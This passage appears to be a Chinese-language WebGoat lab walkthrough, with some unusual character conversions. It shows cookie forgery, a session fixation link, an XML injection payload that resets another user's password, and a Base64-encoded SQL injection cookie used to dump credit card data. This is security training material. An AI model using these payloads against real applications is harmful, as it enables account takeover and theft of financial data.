二、    使用aspect/aspect登陸，而後點擊「Refresh」，使用代理攔截請求，獲取到 Cookie: JSESSIONID=F8D13612D534A6CB0C3449D76FDCD898; AuthCookie=65432udfqtb;

 

從上述兩個AuthCookie的組成能夠發現，其是65432+登陸用戶名的換位，其換位方式：每一個字母都是用戶名倒過來，並被替換爲它後面的字母

三、    使用alice/alice登陸，使用代理攔截請求，在Cookie裏增長AuthCookie=65432fdjmb;，而後提交，以下圖所示：

 

 

 

 

Session Fixation（會話固定）

主題：經過會話固定盜取Session。

原理：服務器經過每一個用戶的惟一的Session ID 來確認其合法性。若是用戶已登陸，而且受權他沒必要從新驗證受權時，當他從新登陸應用系統時，他的Session ID 依然是被認爲合法的。在一些程序中，可能會在GET-REQUEST 請求中傳遞Session ID。這就是攻擊的起點。

一個攻擊者能夠用一個選定的 Session ID 給受害人發送一個超連接。例如，這裏有一個準備好的郵件，它看起來像是一個從應用程序管理員發來的官方郵件。若是受害者點擊了這個連接，而且該受害者以攻擊者指定的ID 登陸了系統；那麼攻擊者能夠不經受權直接使用
與受害者相同的ID 訪問該頁面。

目標：

階段1：你是Hacker Joe，你想竊取Jane的會話。向Jane發送一個準備好的郵件，其看起來像是來自銀行的官方郵件。信息模板已準備好，你將須要在email裏的連接增長一個會話ID。更改連接以包含SID。
能夠經過向連接中加入&SID=WHATEVER.固然WHATEVER能夠用其餘字符代替。這個連接能夠是這樣：
http://192.168.185.73:8080/WebGoat/attack?Screen=311&menu=1800&SID=WHATEVER

 

 

 

階段2：如今你是受害者，接收到了下面的郵件。若是你使用鼠標指向連接，你將會看到包含一個SID。點擊它看發生了什麼。

 

階段3：使用Jane/tarzan登陸，以下圖所示：
 

 

階段4：如今是竊取會話的時候了。使用下面的連接到達Goat Hills的財務。
在瀏覽器地址欄看到的SID爲WHATEVER，將其修改成： NOVALIDSESSION，而後回車，以下圖所示：

 

 

 

Web Services

Create a SOAP Request

主題：Web Service 經過使用SOAP 請求進行通訊。這個請求提交到一個嘗試執行一個Web 服務描述語言（WSDL）定義的函數的Web 服務。讓咱們一塊兒來學習一些關於WSDL 的文件。查看一下WebGoat 的WSDL 文件。

目標：
嘗試使用或者Web Service工具鏈接WSDL。URL地址是http://localhost/WebGoat/services/SoapRequest，一般在後面加上?WSDL訪問。你必須訪問操做兩次以經過此課程。

一、在瀏覽器打開http://192.168.2.87:8080/WebGoat/services/SoapRequest?WSDL，以下圖所示：

 

二、    第一步要求咱們獲得有多少個操做，經過查看WSDL界面，能夠發現共有4個操做。完成階段1，以下圖所示：

 

三、    根據WSDL文件獲取方法getFirstNameRequest參數ID的數據類型，經過查看源文件，能夠知悉其類型 爲int，輸入，而後點擊提交，完成階段2。

 

四、    你必須訪問操做兩次以經過此課程。

 

WSDL Scanning

主題：Web Services 經過使用SOAP 請求進行通訊。這個請求提交到一個嘗試執行一個Web 服務描述語言（WSDL）定義的函數的Web 服務。讓咱們一塊兒來學習一些關於WSDL 的文件。查看一下WebGoat 的WSDL 文件。

目標：

下面所列是web service裏的API。檢查這個Web service的WSDL文件，嘗試得到客戶的信用卡號。

 

 

Web Service SAX Injection

原理：Web Services 經過使用SOAP 請求進行通訊。這個請求提交到一個嘗試執行一個Web 服務描述語言（WSDL）定義的函數的Web 服務。讓咱們一塊兒來學習一些關於WSDL 的文件。查看一下WebGoat 的WSDL 文件。

目標：

一些Web界面在後臺使用Web服務。 若是前端依賴於Web服務進行全部輸入驗證，則可能會破壞Web界面發送的XML。

在本練習中，嘗試更改101之外的用戶的密碼。

在輸入框輸入下面內容：

<id xsi:type='xsd:int'>102</id>
<password xsi:type='xsd:string'>P@$$w0rd?</password>

 

 

 

 

Web Service SQL Injection

WebServices經過使用SOAP請求進行通訊。這些請求被提交到一個嘗試執行使用Web服務描述語言（WSDL）定義的函數的Web服務。
課程目標：
檢查WSDL文件，嘗試獲取多個客戶的信用卡號碼。你將不會看到結果呈如今界面。當你確信你成功時，刷新頁面並尋找「綠色型號」

未能實現成功。

 

Challenge

你的任務是破壞認證方案，從數據庫竊取全部的信用卡，而後修改網站。你將不得不使用你在其餘課程學到的技巧。對於這個站點須要修改的主頁是「webgoat_challenge_webgoat.jsp」。

 

階段1：

經過鼠標右鍵查看源代碼，能夠獲取User Name=youaretheweakestlink，
嘗試了各類SQL注入，返回的都是無效，無奈之下，就想到了查看源代碼。
使用代理攔截請求，將WebGoat後的都刪掉，而後增長source?source=true，能夠在源碼的121行看到pass= "goodbye"，輸入上述兩個參數，點擊「Login」，以下圖所示：
 

階段2：
依據上圖提示，須要獲取全部信用卡號，根據前述課程經驗，確定是使用SQL注入來獲取全部信息。在第二個頁面沒有出現任何請求，因此還須要從登陸頁面進行入手。
依次對Username/Password/Submit/user/user(Cookie)這幾個注入點進行檢查，發現對user(Cookie)進行注入就能夠得到到全部信用卡信息，可是注意使用的是Base64編碼後的信息。
youaretheweakestlink' OR '1'='1 編碼後注入代碼爲eW91YXJldGhld2Vha2VzdGxpbmsnIE9SICcxJz0nMQ==

階段3：此頁面顯示各類協議的表單，依據經驗（猜）這種形式的表單獲取兩種形式：一、    利用SQL從數據庫獲取二、    利用CMD命令行獲得